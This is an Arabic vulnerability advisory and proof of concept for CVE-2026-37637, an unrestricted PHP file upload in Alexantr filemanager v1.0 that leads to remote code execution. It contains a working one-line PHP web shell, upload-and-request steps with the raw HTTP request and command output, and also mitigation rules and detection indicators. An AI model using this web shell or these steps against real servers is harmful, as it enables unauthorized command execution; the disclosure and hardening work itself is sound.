
تنفيذ التعليمات البرمجية عن بُعد في Alexantr filemanager الإصدار 1.0 عبر رفع ملفات غير مقيد
إثبات المفهوم لثغرة CVE-2026-37637 - تنفيذ الأكواد عن بُعد في Alexantr filemanager v1.0 عبر رفع الملفات غير المقيد في filemanager.php.
CVE-2026-37637 هي ثغرة تنفيذ أكواد عن بُعد تؤثر على Alexantr filemanager v1.0.
توجد الثغرة في مكوّن filemanager.php بسبب عدم كفاية التحقق من الملفات المرفوعة. يمكن لمهاجم عن بُعد رفع ملف PHP خبيث إلى دليل يمكن الوصول إليه عبر الويب وتنفيذ أوامر عشوائية على الخادم.
حالة CVE: تم إرسالها إلى MITRE
الباحث: CYBER-SEC مستودع البائع: https://github.com/alexantr/filemanager
| العنصر | الوصف |
|---|
| معرّف CVE | CVE-2026-37637 |
| نوع الثغرة | تنفيذ الأكواد عن بُعد |
| المنتج المتأثر | Alexantr filemanager |
| الإصدار المتأثر | v1.0 |
| المكوّن المعرّض | filemanager.php |
| ناقل الهجوم | عن بُعد |
| المصادقة المطلوبة | تعتمد على النشر/الإعدادات |
| التأثير | تنفيذ أوامر عشوائية |
| السبب الجذري | رفع ملفات غير مقيد وغياب التحقق من الملفات على جانب الخادم |
يمكن للمهاجم رفع ملف PHP خبيث من خلال وظيفة رفع الملفات. نظرًا لأن الملفات المرفوعة تُخزَّن في موقع يمكن الوصول إليه عبر الويب ويُسمح بتنفيذ PHP، يمكن للمهاجم تنفيذ أوامر نظام عشوائية على الخادم.
قد يسمح الاستغلال الناجح للمهاجم بـ:
يسمح التطبيق للمستخدمين برفع ملفات عشوائية دون التحقق بشكل صحيح من امتداد الملف أو نوع MIME أو محتوى الملف.
يمكن رفع ملف PHP خبيث مثل التالي:
<?php system($_GET['cmd']); ?>
بمجرد رفعه إلى دليل يمكن الوصول إليه عبر الويب، يمكن للمهاجم تنفيذ أوامر من خلال الوصول إلى الملف عبر المتصفح وتمرير الأوامر عبر معامل cmd.
مثال:
http://target/uploads/shell.php?cmd=id
يؤدي هذا إلى تنفيذ أوامر على نظام التشغيل الأساسي.
git clone https://github.com/alexantr/filemanager
cd filemanager
php -S localhost:8000
افتح التطبيق في المتصفح:
http://localhost:8000/filemanager.php
اعتمادًا على النشر أو الإعدادات، قد يكون التطبيق متاحًا أيضًا عبر:
http://localhost:8000/pheditor.php
أنشئ ملفًا باسم shell.php:
<?php system($_GET['cmd']); ?>
ارفع الملف باستخدام وظيفة الرفع في التطبيق.
بعد رفع الملف، قم بالوصول إليه مباشرة من المتصفح:
http://localhost:8000/uploads/shell.php?cmd=id
إذا نجح الاستغلال، سينفّذ الخادم الأمر ويعيد الناتج.
مثال على الناتج:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
<?php system($_GET['cmd']); ?>
GET /uploads/shell.php?cmd=id HTTP/1.1
Host: target
User-Agent: Mozilla/5.0
Connection: close
يتم تنفيذ الأمر المُمرَّر عبر معامل cmd على الخادم.
تحدث الثغرة بسبب عدم كفاية التحقق على جانب الخادم في وظيفة رفع الملفات.
لا يقيد التطبيق بشكل صحيح:
نتيجة لذلك، يمكن رفع ملفات PHP قابلة للتنفيذ وتنفيذها مباشرة.
يجب على البائع والمستخدمين تنفيذ الحمايات التالية.
منع رفع أنواع الملفات القابلة للتنفيذ مثل:
.php, .phtml, .php3, .php4, .php5, .phar
السماح فقط بأنواع الملفات المتوقعة، على سبيل المثال:
.jpg, .png, .gif, .txt, .pdf
لا تعتمد فقط على ترويسة Content-Type المقدمة من العميل.
يجب إجراء التحقق من الملفات على جانب الخادم.
يجب ألا تكون الملفات المرفوعة قابلة للتنفيذ مباشرة أو متاحة للجمهور.
بالنسبة لـ Apache، يمكن القيام بذلك باستخدام .htaccess:
php_flag engine off
RemoveHandler .php .phtml .php3 .php4 .php5 .phar
RemoveType .php .phtml .php3 .php4 .php5 .phar
بالنسبة لـ Nginx، منع معالجة PHP في مسارات الرفع:
location /uploads/ {
location ~ \.php$ {
deny all;
}
}
استخدم أسماء ملفات عشوائية مولّدة من الخادم وأزل الامتدادات التي يتحكم بها المستخدم.
اقتصر وظيفة الرفع على المستخدمين الموثوقين فقط.
يمكن للمسؤولين البحث عن ملفات PHP مرفوعة مشبوهة في الأدلة المتاحة عبر الويب.
مؤشرات مثال:
shell.php
cmd.php
upload.php
backdoor.php
.php files inside upload directories
قد تتضمن أنماط الطلبات المشبوهة:
?cmd=
?exec=
?shell=
?command=
مثال على سجل:
GET /uploads/shell.php?cmd=id HTTP/1.1
تم توفير هذا المستودع لأغراض تعليمية وأمنية دفاعية فقط.
تهدف المعلومات وإثبات المفهوم إلى مساعدة المطورين ومسؤولي الأنظمة ومتخصصي الأمن على فهم الثغرة ومعالجتها.
لا تستخدم هذه المعلومات لمهاجمة الأنظمة دون إذن صريح. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني.
المؤلف غير مسؤول عن أي إساءة استخدام للمعلومات الواردة في هذا المستودع.